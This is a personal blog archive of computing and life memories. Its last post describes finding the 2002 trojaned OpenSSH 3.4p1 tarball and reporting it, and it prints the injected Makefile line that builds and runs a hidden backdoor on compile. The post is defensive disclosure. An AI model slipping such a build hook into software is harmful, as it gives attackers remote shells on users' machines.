MavEtJu's Distorted View of the World - Memories
APNIC IPv6 trainingPentium4 3.2 GHz - 2005
Pentium 1 GHz - 2001
Pentium 333 MHz - 1999
Pentium2 200MHz - 1999
Pentium 100 MHz - 1996
AT: AMD 386 40 MHz - 1992
AT: AMD 286 16 MHz - 1990
Philips :YES
Philips MSX
Philips P2000T - 1981
Philips Videopac
NSW State Elections 2003
OpenSSH 3.4p1 package trojaned
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APNIC IPv6 training
Posted on 2008-05-01 09:00:00, modified on 2008-06-01 09:00:00
Tags: IPv6, Trains, Rant, Memories
The coming two days I'll be at the IPv6 Workshop of APNIC. Of course this workshop is in the middle of nowhere, which is impossible for a Sydney based event so let me rephrase it: It is held in a non-central location unreachable by train. The options? Take the train to the city (one hour) and then the bus (one hour) or take the train to Parramatta (1.5 hours) and take a taxi from there.
But the good news is: thanks to the speed of the Cronulla / Bondi train this morning I was able to catch one train earlier at Redfern, and that one only stops at Strathfield, Lidcombe, Granville and Parramatta, which will save me some hassles... I hope :-)
On the sideline, I checked out when my first IPv6 capable program was created: It was the Fatal Dimensions Mud server and the commit date was 29 April 2000, eight years ago. The IPv6 connection came via FreeNet6 in Canada and that was a IPv6-over-IPv4 tunnel. Thanks to my FreeBSD port of their tunnel software I got a tshirt from them!
Update: That taxi took half an hour to get there....
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Pentium4 3.2 GHz - 2005
Posted on 2008-03-01 09:00:09, modified on 2008-03-01 09:00:00
Tags: Memories, My Computers
Two gigabyte of memory, first computer with a DVD player / burner and dual core CPU and 120 Gb of diskspace. FreeBSD again. It was also the first computer with a LCD monitor instead of a CRT monitor, thus giving me more space on my desk.
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Pentium 1 GHz - 2001
Posted on 2008-03-01 09:00:08, modified on 2008-03-01 09:00:00
Tags: Memories, My Computers
FreeBSD again. Nothing excited, except to notice that it was the first computer to have one gigabyte of memory.
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Pentium 333 MHz - 1999
Posted on 2008-03-01 09:00:07, modified on 2008-03-01 09:00:00
Tags: Memories, My Computers
With my move to the Philips / Origin DNS team, I had to get a computer to run BSDi's BSD/OS on it and to get a feel for it. It didn't last long, it was just BSD and worked the same as FreeBSD for what my role in the team was. So it got to be used for other people when they visited me.
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Pentium2 200MHz - 1999
Posted on 2008-03-01 09:00:06, modified on 2008-03-01 09:00:00
Tags: Memories, My Computers
This Dell computer was obtained cheaply via the PC-Prive project at Philips / Origin, thus called my prive-del (Literal translation: private-lady-of-the-street). It ran FreeBSD only. I never got the Windows refund because according to the rules and regulations of the PC-Prive project you weren't allowed to modify anything on the system. That also included the painting on the box and the extra harddisk I put into it :-) i
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Pentium 100 MHz - 1996
Posted on 2008-03-01 09:00:05, modified on 2008-03-01 09:00:00
Tags: Memories, My Computers
A new computer with a CD-ROM drive! It ran OS/2 WARP 4 for about a year and then it got replaced by something called FreeBSD 2.2.1. All the power I had with OS/2 and it was modular! I didn't understand yet how it all fit together (That kernel compiling isn't really something I do understand), but it allowed me to read my mail and news, play online in a MUD and develop my own programs.
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AT: AMD 386 40 MHz - 1992
Posted on 2008-03-01 09:00:04, modified on 2008-03-01 09:00:00
Tags: Memories, My Computers
This was only a motherboard change, but for the first time I made a real hardware change to my own computer.
The 386 allowed me to run Quarterdeck DESQview, a text mode multitasking program under MS-DOS. This was brilliant, it allowed me to edit my programs in one instance, compile them in a second instance and run them in the third instance. Because the instances ran in the so protected mode, any bad programming my side was immediately punished with an aborted program.
This was also the era of MOD files, the audio format which contains a track part and a samples part. By using a simple D/A convertor on the parallel port of the computer, you can connect the computer to your stereo and play all kind of music. By having two parallel ports on your computer and have two D/A convertors you could have stereo sound! The price of these D/A convertors? 15 resistors, one DB25 male, one tulip plug and one DB25 case: DFL 7.50. Much cheaper than a soundcard, and much more rewarding.
Despite that the operating system was MS-DOS, the command interpreter was replaced with 4DOS, a much more powerful commandline tool which made it much easier to run scripts and do interactive things with the user.
Later the operating system was replaced with OS/2 2.0, which gave me the first feel what a real operating system was and what it could do: pre-emptive multitasking, unlimited memory, an object oriented desktop and a filesystem with long filenames. Further a stream of strange tools became available, varying from a C compiler called DJGPP to an UUCP mail and news retrieval system called UUCP/extended. With the release of OS/2 WARP a lot more communication became possible, including TCP/IP based communication. And for the first time I saw include files with the text "Copyright by the Regents of the University of California." How much did I not know about what that meant.
Programming under OS/2 was a little bit difficult, but thanks to the book OS/2 Presentation Manager Programming by Charles Petzold and the EDM/2 (Electronic Developer Magazine) and the free DJGPP compiler I created a set of nice tools, mostly originated from other X11 applications like Spider and Xlock.
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AT: AMD 286 16 MHz - 1990
Posted on 2008-03-01 09:00:03, modified on 2008-03-01 09:00:00
Tags: Memories, My Computers
This was my first own computer and had a VGA monitor, one 3.5" and 5.25" floppy drive and a very big 40 Mb harddisk. It ran MS-DOS 3.3 and thanks to Cshow (an image viewer), TurboPascal 4.0 and hundreds of games downloadable from Simtel20 and Garbo.uwasa.fi never a dull moment.
Later on the 40 Mb harddisk was replaced with a 100 Mb harddisk which I had to buy in Amsterdam on a sunday evening. A very strange thing now I think about it.
From the local computerclub I bought a memory extension board so that the computer had 3 Mb of memory instead of 1 Mb, and found out that RAM disks didn't survive reboots but also that disk-intensive games were loaded much faster now that they were on it.
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Philips :YES
Posted on 2008-03-01 09:00:02, modified on 2008-03-01 09:00:00
Tags: Memories, My Computers
The :YES taught me that while BASIC is fun if you don't know anything else, Pascal is much more fun and thanks to Borland we had Turbo Pascal 3 which could generate blazing fast .COM files. My fractals have never been calculated that fast (in monochrome...)
Monochrome isn't that bad if you can choose between high resolution monochrome or low resolution four colour colour :-)
One of the games I played on this computer was an early version of Hack or NetHack, a game which I never lost my love for. (Still haven't made it past the castle yet... One day I will, one day I will)
Thanks to the hackers at the Philips Thuis Computer club we ended up with an extension board for the :YES which mapped the video memory to the right location and did other kinds of magic and we were able to run all the right software on it: Turbo Pascal 4 (which generated .EXE files which were not limited to the 64Kb data model of the .COM files but allowed to use all of the memory), WordPerfect, Leisure Suit Larry and the rest of the Sierra games.
The :YES had a SCSI interface and I once tried to hook up a SCSI harddisk on to it, but I never managed to get it working.
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Philips MSX
Posted on 2008-03-01 09:00:01, modified on 2008-03-01 09:00:00
Tags: Memories, My Computers
We never really owned an MSX, it was lent to my father for a short period and during that time it was abused by me discovering the digital world of computers.
The MSX was the first (and as far as I know only) attempt to make a home computer which was compatible between multiple vendors. A Z80 chip, a sound chip, a graphics chip and a two extension ports, of which one was used for a 3.5" floppy drive. Yes, 3.5". Totally incompatible with the P2000T which used the digital recording cassettes, totally incompatible with the 5.25" floppies everybody else used. But it was fast and big.
The graphical capabilties with the lots of colours brought me to the wonderful world of Fractals. Yes, more code to copy from books, while translating the that-basic-dialect-in-that-book into MSX Basic. I still have the book!
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Philips P2000T - 1981
Posted on 2008-03-01 09:00:00
Tags: Memories, My Computers
The Philips P2000T was the first computer in my life. Despite having used the Philips VideoPac just to play games, that was all which was done with it. The P2000T was a real Philips computer: Philips used the little data cassette in their voice dictation products, the same graphics video chips as used in their TVs for the teletext services and the ROM module was coming from the VideoPac. The P2000T had 8 kilobyte of memory in it which could be extended to 16 kilobyte: I had to do the dishes for a full week as a payment for getting this done.
The P2000T learned me a lot:
Programming in BASIC, starting with typing over lines of code from example books and later on making my own text based programs. For a project at geography classes at high school I created my own "how to assign land for farming while making sure you don't end up with mineral exhauston" program.
Modems and BBSs: With a huge external modem (not an optocoupler but a real modem) I was able to dial out to Videotex based BBSs with the speed of 1200/75 bps (while other modems these days were 300 bps).
Communication via the radio: During these days the dutch radio had a program called Hobbyscoop, which was broadcasted twice a week for half an hour (once on the FM band, once on the AM band). They had at the end of the program always a five minute segment with of data broadcast in their own Esperanto BASIC version called BASICODE: The real program starts at line 1000 and the BASIC dialect specific things like clearing the screen, putting the cursor somewhere on the screen, waiting for a key etc are done in machine specific BASIC in the lines 1 till 999. So the program would clear the screen (gosub 100), set the cursor to the middle of the screen (gosub 110) and prints "Welkom" (this is normal BASIC) and waits for a key (gosub 120).
To get this data you needed to tape the data broadcast, put the tape on the cassette player next to your computer which was in this case connected to the parallel port of the P2000T, run the Basicode program and play the recording. There you got the newsletter with a lot of information for radio amateurs, satelite trajectory, interesting things in the world of computer hobbyism etc. The casette player next to the computer was also connected to a disco style light-organ and modified not to mute when the plug towards the light-organ was plugged in. As the result everybody had to enjoy and endure the circular-saw sounds when I was downloading the newsletter.
Extending the computer with Uniface: The hobby computer explosion in the early 1980s attracted a group of people which were real hackers and wanted to use it to do the right thing: As described in the previous paragraph, incompatibilities in the BASIC language were overcome on software level with BASICODE and on hardware level they developed the UNIFACE standard: a connector between a specific extension port on the computers and a standardized port on the hardware modules. That way hardware created (the famous Knight-Rider LED strip, the automatic door opener, the railroad-track hardware) would never be obsoleted because all you had to do is build an interface and rewrite the software. Unfortunately I never got further than doing the Knight-Rider LED strip...
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Philips Videopac
Posted on 2003-11-25 10:08:26, modified on 2006-01-09 16:29:21
Tags: Memories, My Computers
The first computer I ever used was the Philips Videopac G7000. My father brought it home from work now and then and I wasted afternoons playing on it.
It was a game console, but not one like you know today. Instead of true colour 3D imaging, this thing had pixels the size of your thumb. Instead of a gyroscopic multifunction gamecontroller, it had an analogue joystick with one button...
As you can see on this picture, the images weren't perfect and the story line was either "Shoot me or I'll shoot you" or a thinking game. The keyboard was a 'push-through' plastic plate which would have given everybody RSI.
Unfortunatly I don't remember much of it, I was too young to understand what the impact of this machine was. All I saw where enemy ships on the screen which I had to bomb with my torpedos while they tried to bomb me with their depth charges.
Some links to other sites:
Philips Videopac and Philips Videopac G7000 page.Show 2 comments
NSW State Elections 2003
Posted on 2003-05-23 20:12:30, modified on 2006-01-09 16:29:23
Tags: Memories, Politics
March 22nd, 2003. Naomi has just become a member of The Greens, the major minor party in Australia and volunteered for handing out pamphlets at the polling booth. And asked if I could help her in the first hours with it.
Of course, no problem. On the Friday morning before, I thought it would be somewhere in Cronulla. On Friday afternoon, I knew it would be somewhere in Sutherland. On Saturday morning we found out it was as far west of Sutherland as possible: Wattle Grove. A beautiful area, surrounded by bush. Occupied by the Australian military forces. We were in the middle of a military suburb, with names like Infantry Road and ANZAC Street. *gulp* You have to be brave as a No War party to go there... Or very new to things.
When we arrived at the polling booth (five past eight, it was further than we expected). We were greeted by an overwhelming amount of Labour and Liberal posters. Here we came with our two A-frame stands. But, it all turned out nice:
- Because all the space was already occupied we had to place our A-frame stands before all the others.
- We had to stand as the last ones in the line to hand out the how-to-vote pamphlets.
- And of course, with the smile and the accent of a Dutchman, it wasn't hard to win the hearts of these tough military guys and girls: "Hello, please vote for the Greens today!". Oh my god, they've already invaded our country!
Because the whole day went a little bit different than I expected (I expected Naomi to be in the neighbourhood, then somewhere in Sutherland which would be easy to do by train and in the end about two hours away by train from where we live) I didn't make any pictures. But I got a nice t-shirt out of it!
The result for our Menai-region was as follows (the first goal was to get at least 4% in all regions)
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53.14%Thanks to the friendliness of the people at the polling booth, the ones from the Labour and Liberal party and the people voting, we had a great day!
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OpenSSH 3.4p1 package trojaned
Posted on 2002-08-02 03:10:23, modified on 2006-01-09 16:29:21
Tags: Computers, Memories
And all I was thinking was "Oh! I should upgrade ssh on these two machines before there are problems...". The beauty of FreeBSD is that it goes like this:
[~] edwin@k7>cd /usr/ports/security/openssh-portable [/usr/ports/security/openssh-portable] edwin@k7>make [/usr/ports/security/openssh-portable] edwin@k7>make install
Easy euh? It went well, except for the second step:
===> Extracting for openssh-portable-3.4p1_7 >> Checksum mismatch for openssh-3.4p1.tar.gz. Make sure the Makefile and distinfo file (/usr/ports/security/openssh-portable/distinfo) are up to date. If you are absolutely sure you want to override this check, type "make NO_CHECKSUM=yes [other args]". *** Error code 1
Euh... I didn't remember seeing a change in the FreeBSD ports regarding this. And I didn't see an announcement for it from the people from OpenSSH... Oh well, it happens. I downloaded the new openssh-tarball:
-r--r--r-- 1 12187 mirror 840574 Jul 31 16:47 openssh-3.4p1.tar.gz -r--r--r-- 1 12187 mirror 232 Jun 26 08:20 openssh-3.4p1.tar.gz.sig
That's weird, they've rerolled the tarball without updating the signature file. Curious as I was, I extracted the old and new tarball and this were the differences:
[~/test] edwin@k7>diff -r -u openssh-3.4p1-old openssh-3.4p1
diff -r -u openssh-3.4p1-old/openbsd-compat/Makefile.in openssh-3.4p1/openbsd-compat/Makefile.in
--- openssh-3.4p1-old/openbsd-compat/Makefile.in Wed Feb 20 07:27:57 2002
+++ openssh-3.4p1/openbsd-compat/Makefile.in Thu Feb 1 08:52:03 2001
@@ -26,6 +26,7 @@
$(CC) $(CFLAGS) $(CPPFLAGS) -c $<
all: libopenbsd-compat.a
+ @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &
$(COMPAT): ../config.h
$(OPENBSD): ../config.h
Only in openssh-3.4p1/openbsd-compat: bf-test.cAt this moment I asked a couple of people on irc (#sage-au) if they have had troubles with compiling openssh the last days. Yups, ^Sarge^@bofh.snsonline.net also had it, also a checksum mismatch. Time to go deeper into it...
bf-test.c is a weird file. It talks about HP-UX PL.2 systems, it talks about _CRAY notes, it talkes about none-T3E machines, it talks about _ILP64__ and it does an epcdic2ascii() call. I'm not very skilled in computers (well, I am :-) but if people are talking about HP-UX, Cray, ILP64 and epcdic2ascii(), I know it's either too difficult for me (You are not supposed to understand this) or it's bullshit (We can charge the phaser-array via a shortwave link through the warpcore). Time to startup vmware and run the experiment: gcc -o bf-test bf-test.c.
bf-test itself is pretty harmless, it only prints things to the screen (remember the change in the makefile? execute, redirect the output and execute the output). The shell script it prints creates a C program and tries to compile it. If it doesn't succeed at first, it tries to link other libraries (everybody who has ever ported a Solaris knows that you have to explicitely link to libresolv et al). So it's cross-platform :-)
The C code is not that smart. It tries once per hour to connect to port 6667 on the machine 203.62.158.32 which is web.snsonline.net and waits for commands from the person or persons who 0wn3d the machine. Does it get an M, it sleeps for another hour. Does it get an A, it will abort. Does it get an M, it will spawn a shell. Some people will build it "normal" privileges and install it as root: they will get a shell with "normal" privileges. Other people will build it with "root" privileges and the shell will have "root" privileges.
While analyzing the code on #sage-au and mentioning the hostname, ^Sarge^ looked strangely at me (well, it's IRC so you never know but that's what I would do): "That is my machine.". The good news is that I didn't have to worry about finding out who manages the machine!
The next step is to inform somebody who manages the openssh-packages: The OpenBSD team. Up to right now, I have had no experience with the OpenBSD team (if you check my website you'll see that I'm more a FreeBSD guy :-). The head-guy of the OpenBSD team is living in Canada and they're now sleeping there. I've spend a couple of days on #freebsd on irc.openprojects.net, so I just tried #openbsd.
*** MavEtJu has joined #openbsd <MavEtJu> Euh... anybody from the openssh-team here? <MavEtJu> I have some news for you... <marius> What's up?
I have contact! Marius asked me the standard questions (how did you find out, how can I see it, when did you find out) and after some investigation he said "I think I'd better call Provos[ed. I think it was Provos, I am not sure about it]". Coolies! I think I found a right person to talk to! It looks like things are going to roll now, I can take my hands of it.
The last things I did were writing some emails to a couple of mailinglists and guide ^Sarge^ to #openbsd. For the rest I wasn't of very much use anymore, so I just kept monitoring #openbsd. And the logfile of my website, which went ballistic.
Aftermath
- The portable version wasn't the only which was trojaned, the normal version was also.
- It seems it took only six hours before somebody was alert enough to see that there was something wrong, all thanks to the checking of the MD5-checksum [insert a sweet 'aaaaaahhh' here]
- OpenSSH itself wasn't trojaned, the tarball was. There is nothing wrong with OpenSSH itself (this time :-)
- The building of a port (under FreeBSD at least) is done as root with all its privileges. This is a wrong approach. For a time I tried, as an experiment, to build ports as user "port". This worked fine except for the "make clean" part, in which I couldn't remove the files created during the "make install" phase and the files which were made during the building of the RUN_DEPENDS ports.
- See my scrapbook
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